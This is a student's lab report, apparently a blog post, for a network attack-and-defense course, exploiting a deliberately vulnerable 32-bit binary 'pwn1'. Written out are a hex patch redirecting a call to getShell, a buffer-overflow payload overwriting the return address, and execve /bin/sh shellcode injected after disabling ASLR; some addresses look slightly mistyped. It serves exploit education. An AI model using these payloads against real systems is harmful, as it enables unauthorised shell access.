20212920 许邵 2021-2022-2 《网络攻防实践》实践九报告

20212920 许邵 2021-2022-2 《网络攻防实践》实践九报告

1.实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

理论基础:
1.常用的汇编指令

指令 描述 格式 说明
MOV 传送字或字节 MOV DEST,SRC 将SRC移动到DEST
XCHG 交换指令 XCHG OPER1,OPER2 把操作数oper1与操作数oper2交换
ADD 加法 ADD DEST,SRC DEST<=DEST+SRC
SUB 减法 SUB DEST,SRC DEST<=DEST-SRC
CMP 比较 CMP DEST,SRC 计算DEST-SRC的差,不处理结果
JMP 无条件转移指令 JMP LABEL 无条件跳转到LABEL处
CALL 过程调用指令 CALL LABEL 段内直接调用LABEL处指令
RET 段内过程返回指令 RET 结束子程序
SAL 算术左移 SAL OPRD,count 将OPRD算术左移count位
SHL 逻辑左移 SHL OPRD,count 将OPRD逻辑左移count位
SAR 算术右移 SAR OPRD,count 将OPRD算术右移count位
SHR 逻辑右移 SHR OPRD,count 将OPRD逻辑右移count位
PUSH 进栈 PUSH SRC 将SRC压入堆栈
POP 出栈 POP SRC 将SRC推出堆栈
LEA 取有效地址 LEA REC,OPRD 把操作数oprd的有效地址传送到操作数rec

2.Shellcode
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
使用shellcode的基本步骤为:
‐ 先正向写出我们想要的代码。
‐ 用反编译软件,找到对应的硬编码。

  • 适当修改硬编码。

2.实践过程

2.1 可执行文件的修改

原本pwn1的功能是:简单回显用户输入的字符串。

反汇编提供的pwn1文件,命令:objdump -d pwn1 | more

反汇编后,这里显示了这个程序使用的所有函数。函数中包括了所有的汇编指令。
如下图中的getshell、foo和main函数。

我们还可以看到,main函数中的第四行call指令,会将函数调用到foo函数中,而foo函数中没有跳转到getShell函数(0804847d)的指令。进一步分析得出,在这个文件中,call指令的机器码是e8.
实际上,8048491=80484ba+ffffffd7,也就是说,call指令跳转到的目标foo函数的地址(8048491)正是该指令的下一条指令的EIP寄存器的值(80484ba,这正是该指令的下一条指令的地址)与该指令的表示目标的字段(ffffffd7,小端优先)之和。
因此,我们可以这样修改:
由于804847d-80484ba=ffffffc3,所以我们只需要把call指令的目标地址由d7ffffff改为c3ffffff即可。

先拷贝cp pwn1 pwn1-20212920
然后用vi编辑器打开拷贝出来的pwn1-20212920。

得到一串乱码。按下esc离开编辑模式,然后键入:%!xxd,切换到16进制模式。

根据之前看到的反汇编的结果,键入/d7,进行定位,如果前后正是e8d7ffff,即可判断这就是我们要修改的位置(在4b0行)。
修改d7为c3(光标定位到要切换的字符,按r键进入到切换字符模式,然后键入),然后转换为原来的格式:%!xxd -r,保存退出:wq

重新反汇编objdump -d pwn1-20212920 | more,发现主函数中的call指令目标成功切换到了getShell。

运行一下,./pwn1-20212920,发现该程序改为调用shell指令了。

2.2 改变指令流,实现BOF攻击

首先反汇编这个pwn文件,查看一下程序的基本功能,找到foo的漏洞。
先看foo函数。

08048491 <foo>:
 8048491:       55                      push   %ebp
 8048492:       89 e5                   mov    %esp,%ebp
 8048494:       83 ec 38                sub    $0x38,%esp      
 8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax 
 804849a:       89 04 24                mov    %eax,(%esp)
 804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>
 80484a2:       8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:       89 04 24                mov    %eax,(%esp)
 80484a8:       e8 93 fe ff ff          call   8048340 <puts@plt>
 80484ad:       c9                      leave  
 80484ae:       c3                      ret  

第三行的sub指令,给堆栈预留了一定大小的空间;通过第四行的lea指令,将携带偏移量0x1c的ebp放到eax,然后在第五行,将eax放到堆栈esp上,相当于把一定大小的空间(长度为28)预留给函数geps@plt(负责读取用户输入的字符串,将字符串拷贝到指针ptr中)。
分析可得,该函数会预留一个28字节的空间,当输入长度大于28字节的字符串时,会发生缓冲区溢出。
该函数的ebp部分是从主函数main通过call foo指令传入的,所以溢出的一部分将被作为eip寄存器的值。而eip和ebp寄存器的长度恰为4字节。
如果我们把eip的值,也就是输入的字符串的第33-36个字节设为getshell的地址值0804847d,那么,我们会进入getshell函数,从而实现对shell指令的控制。
由于elf语言是小端优先,我们在33-36个字节应该这样输入:\x7d\x84\x04\x08
但是,由于这四个字符无法直接通过键盘输入,我们需要采取额外的手段。这里使用Perl。Perl是一门解释性语言,可以直接在命令行上使用。
运行命令perl -e 'print "11112222333344445555666677778888\x7d\x84\x04\x08\x0a"' > pwn1_input,输出到pwn1_input文件中。由于pwn1_input中有些字符无法显示,故通过管道进行输入:(cat pwn1_input; cat) | ./pwn1

然后输入相应的shell指令,发现这个程序确实在使用getShell函数,将输入的字符串当成shell指令处理了,说明BOF攻击是成功的。

2.2.3 注入shellcode代码

使用的代码如下图所示。

将上述代码保存到exp9.c文件中,使用gcc进行静态编译:gcc -static -o exp9 exp9.c
先运行一下看看。

发现该文件会将输入的字符转化为shell命令进行处理。

为了方便我们将shellcode指令注入到堆栈中,我们要先做以下准备工作:

  • 关闭地址随机化
    先用命令cat /proc/sys/kernel/randomize_va_space,查看地址随机化是开启(2)还是关闭(0)

    如上图,目前是开启状态,sudo su提权,然后使用命令echo "0" > /proc/sys/kernel/randomize_va_space关闭它。如果上图显示的是0则不需要修改。

  • 设置堆栈可执行
    先安装execstack。
    然后拷贝一个pwn1的备份到2920pwn1文件。先使用命令execstack -s 2920pwn1设置堆栈可执行,然后用execstack -q 2920pwn1查看堆栈是否可执行。

先采用nop+shellcode+retaddr的方式构造一个负载。nop一是为了填充,二是作为“着陆区、滑行区”,我们猜测,返回的地址只要落在任何一个nop上,就会滑到我们的shellcode。
构造的负载如下所示:
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00
使用命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00"'>input_shellcode,将这个负载输出到input_shellcode文件中,使用这个shellcode运行2920pwn1。
(cat input_shellcode; cat) | ./2920pwn1
按两下enter键,发现segmentation fault错误,说明这个程序有问题。
为了调试这一问题,我们重新运行这个程序,然后再打开一个终端。在新的终端上查找2920pwn1所在进程的进程号。

进程号是6370。
启动GDB,用attach追踪这个进程。

设置断点break *0x080484ae。可以先用指令disassemble foo,查看该函数的return指令在哪里。

在运行pwn1的终端中按下回车键,在运行gdb调试的终端中输入命令c,便捕捉到了断点,用info r esp发现该函数返回的地址是0xbfff49c。

经过寻找,我们不难发现,shellcode所在地址为0xbfff47c。

退出GDB。
在运行shellcode的终端上,修改shellcode指令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x7c\xf4\xff\xbf\x00"'>input_shellcode_1
运行(cat input_shellcode_1;cat)| ./2920pwn1

发现还是不行。

那我们就按照另一种形式anything+retaddr+nops+shellcode,对shellcode进行修改。
之前我们看到01020304所在的地址为0xbfff49c,而shellcode的地址正是它的下四个字节的地址,也就是0xbfff4a0
perl -e 'print "A" x 32; print "\xa0\xf4\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"'>input_shellcode_2

重新运行指令(cat input_shellcode_2; cat) | ./2920pwn1,发现该程序成功读取了shell指令,实现了BOF攻击。

3.学习中遇到的问题及解决

  • 问题1:一开始跟着视频做,完全不清楚为什么要填写这些指令。
  • 问题1解决方案:上网查阅了有关汇编语言常用指令的博客,初步理解了pwn1文件中某些算法的执行原理。
  • 问题2:运行pwn1文件,显示权限不够,切换到root后还是不行。
  • 问题2解决方案:sudo chmod 755 pwn1,修改文件属性
  • 问题3:在Kali Linux虚拟机安装execstack时,显示“无法定位软件包”
  • 问题3解决方案:https://blog.csdn.net/weixin_43729943/article/details/104221462 ,然后sudo apt install prelink,也可以直接在Ubuntu虚拟机下做这一部分实验。
  • 问题4:修改后的shellcode运行依然报错。
  • 问题4解决方案:这是使用了64位操作系统的缘故,换32位操作系统再试试。

4.实践总结

这次实践明显要难于其他的实践,一定要耐心操作,认真分析,发现问题要及时改进。通过本次实践,我对shellcode技术和汇编语言有了初步的了解,让我充分体会到了程序运行的深层次的逻辑,对程序运行、进程与堆栈的关系有了进一步的体会。

参考资料

posted @ 2022-05-11 11:36  言午召耳  阅读(49)  评论(0编辑  收藏  举报